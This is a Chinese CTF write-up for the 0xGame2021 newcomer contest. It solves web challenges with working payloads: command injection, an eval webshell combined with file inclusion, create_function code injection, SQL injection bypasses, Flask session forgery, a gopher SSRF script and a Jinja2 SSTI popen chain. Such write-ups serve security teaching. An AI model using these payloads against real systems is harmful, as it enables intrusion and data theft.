南邮新生赛
week1
爱ping才会赢
知识点:无过滤的ping命令执行system(‘’)
抓包
127.0.0.1;cat /flag
看看我的头
知识点:xff头、userangent伪造
import base64import requestspayload={"X1cT34m":"1","Pupi1":"1"}head={"User-Agent": "N1k0la浏览器".encode('utf-8'),"x-forwarded-for": "127.0.0.1"}url='http://159.75.116.195:700/?0xGame2021=welcome to the 0xGame2021'r=requests.post(url=url,headers=head,data=payload)print(r.text)a='JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ=='a=base64.b64decode(a)print(a)
你看看你能登录吗
知识点:爆破
抓包
发送到测试模式,狙击手模式,账号为admin,密码为四位,选择暴力,位数为4,线程50,爆破密码后成功登录
week2
一个简单的文件上传
知识点:
php短标签https://www.jianshu.com/p/5ce7020467f2
<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的
源码里面有注释:可以实现任意文件读取,实际上就是文件包含,可以用伪协议读源码
?filename=php://filter/read=convert.base64-encode/resource=index.php
读到两个文件,代码审计发现,上传会检测文件内容是否含有php,最后想到可以用短标签绕过,在结合文件包含可以getshell。
<div class="light"><span class="glow"><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">嘿伙计,传个火?!<input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="upload"/></form></span><span class="flare"></span><div><!--read.php?filename= --><?phperror_reporting(0);//设置上传目录define("UPLOAD_PATH", "./uplo4d");$msg = "Upload Success!";if (isset($_POST['submit'])) {$temp_file = $_FILES['upload_file']['tmp_name'];$file_name = $_FILES['upload_file']['name'];$ext = pathinfo($file_name,PATHINFO_EXTENSION);if(preg_match("/ph/i", strtolower($ext))){die("这可不能上传啊!");}$content = file_get_contents($temp_file);if(preg_match("/php/i", $content)){die("诶,被我发现了吧");}$new_file_name = md5($file_name).".".$ext;$img_path = UPLOAD_PATH . '/' . $new_file_name;if (move_uploaded_file($temp_file, $img_path)){$is_upload = true;} else {$msg = 'Upload Failed!';}echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";}?><?phphighlight_file(__FILE__);error_reporting(0);$a=$_GET["filename"];if(preg_match('/flag/i',$a)){exit("nononono");}include($a);?>
上传一个txt文件<?@eval($_POST['a']);?>,然后用文件包含包含这个txt文件里面的内容就可以被当作代码执行了,
访问read.php?filename=./uplo4d/4717b086fb956e9f44326d55ebdae88d.txt,蚁剑连shell即可。
getshell之后输入 env可以看到flag在环境变量里面。
find_my_secret
知识点:create_function代码注入,hash_hmac函数缺陷
https://blog.51cto.com/lovexm/1743442
hash_hmac 传入数组会返回NULL, $secret_key就可以知道了
算hash的poc
<?phperror_reporting(0);highlight_file(__FILE__);$secret_key='123';if(isset($_POST['N1k0la']))$secret_key = hash_hmac('sha256', $_POST['N1k0la'], $secret_key);$payload = hash_hmac('sha256', $_POST['Pupi1'], $secret_key);echo $payload;
payload:
Poria=1857d775657b27eb33cf2ee35da75f24e414f657e4df5c7190375acfc6a76a5a&Pupi1=return 0;}system('ls');///&N1k0la[]=1&action=%5Ccreate_function
一个简单的登录
知识点:flask session 伪造,session放客户端不安全
基本和下面这题一样:
https://www.cnblogs.com/zaqzzz/p/10243961.html
payload
python3 flask_session_cookie_manager3.py encode -s 'x1ct34myydsytstflglgjhdfhsh' -t '{"name":"admin","uid":"1"}'
之后带着cookie登录即可
Come to Inject me
知识点:万能密码
又是登录框,fuzz下过滤了单引号和空格
猜测后端语句为
select * from users where username='1\' and password='or 2>1'#'
payload
username=1\&password=or(2>1)#
week3
no_way_to_go
代码里有eval('echo '.'Welcome '.$str.';')
可以本地搭建尝试一下,eval函数可以把字符串当作php代码执行,所以我们可以传入;+php语句,从而达到命令执行的效果,最简单的就是system函数,但是有过滤,可以利用scandir函数 — 列出指定路径中的文件和目录,查看当前目录的文件,会以数组形式返回,其中. 表示当前目录,.. 表示上一个目录,因为引号被过滤,使用chr函数所以构造N1k0la=;var_dump(scandir(chr(46)))来打印目录信息,最后使用show_source函数查看fllllll4444444g.php的源码即可,先做一个chr转换
x='fllllll4444444g.php'a=[]for i in x:a.append(f'chr({ord(i)}).')print(''.join(a))
show_source(chr(102).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(103).chr(46).chr(112).chr(104).chr(112)
BackDoor
这道题想考察thinkphp路由的设置
这是他访问规则:
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]
下载源码发现index模块有backdoor控制器,可以直接利用
http://159.75.116.195:666/index.php/Index/backdoor?command=cat /flag
flag在tmp目录下,直接搜字符串 grep -r 0xGame /tmp
切记不要直接在号根目录搜
SSRF_Me
https://blog.csdn.net/weixin_45887311/article/details/107327706
非预期:url=FILE:///fla%25%36%37,之前出题人正则表达式无i,大写绕过即可
这题感觉是ctfhub上改编的
没过滤http协议,G0pher协议
先用?url=http://localhost/read.php
读到read.php
<?phpif('127.0.0.1'!=$_SERVER['REMOTE_ADDR']){die('Allow local only');}if('GET' === $_SERVER['REQUEST_METHOD']){//真实ip用ssrf伪造highlight_file(__FILE__);die('Invalid request mode');}$filename=$_POST['name'];if(preg_match('/..\//',$filename)){die('nonono');}echo file_get_contents(urldecode($filename));
大概意思就是发送一个post请求然后文件包含输出
利用脚本:
这里注意一下四个头是gopher协议必须的,其中Content-Length长度和你要post数据长度相同 ,这里的name要两次url编码,因为浏览器会有一次解码,服务端代码会有一次
import urllib.parsepayload =\"""POST /read.php HTTP/1.1Host: 127.1:80Content-Length: 50Content-Type: application/x-www-form-urlencodedname=%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37"""tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'gopher://127.1:80/'+'_'+newresult = urllib.parse.quote(result)print(result)
输出
gopher%3A//127.1%3A80/_%250D%250APOST%2520/read.php%2520HTTP/1.1%250D%250AHost%253A%2520127.1%253A80%250D%250AContent-Length%253A%252050%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Aname%253D%252525%252532%252566%252525%252536%252536%252525%252536%252563%252525%252536%252531%252525%252536%252537%250D%250A
?url=
稍等片刻就行
Come to inject me(Hard!!
搞不出来,原来是出题人ban多了
username=1&password=or(select%09mid(version(),2,1)<1)#
注出版本号10.6.4 MariaDB
主要禁用了这两个可以查表的库
mysql.innodb_table_stats
information_schema
week4
还没有对象吧,快来new一个python对象
输入{{7*7}}发现对表达式进行了计算,确认ssti注入,fuzz发现过滤了_ . class ,(返回500)
payload:
?search={{()[''+''+'c'+'l'+'a'+'s'+'s'+''+'']['_'+'_'+'base'+'_'+'_']''+''+'sub'+'c'+'l'+'a'+'s'+'s'+'e'+'s'+''+''[127]['_'+'_'+'init'+'_'+'_'][''+''+'globals'+''+'']['popen']('cat flag').read()}}

还没有对象吧,快来new一个php对象
关于phar反序列化可以看这个视频:
https://www.bilibili.com/video/BV1Jh411d7Ta?p=2&share_source=copy_web
pop链:
https://blog.csdn.net/solitudi/article/details/113588692
源码中提示了个look_me.php ,里面可以看到有一条pop链,但是没有反序列化函数但是有file_exists函数





Gie gie,come to inject me
布尔盲注
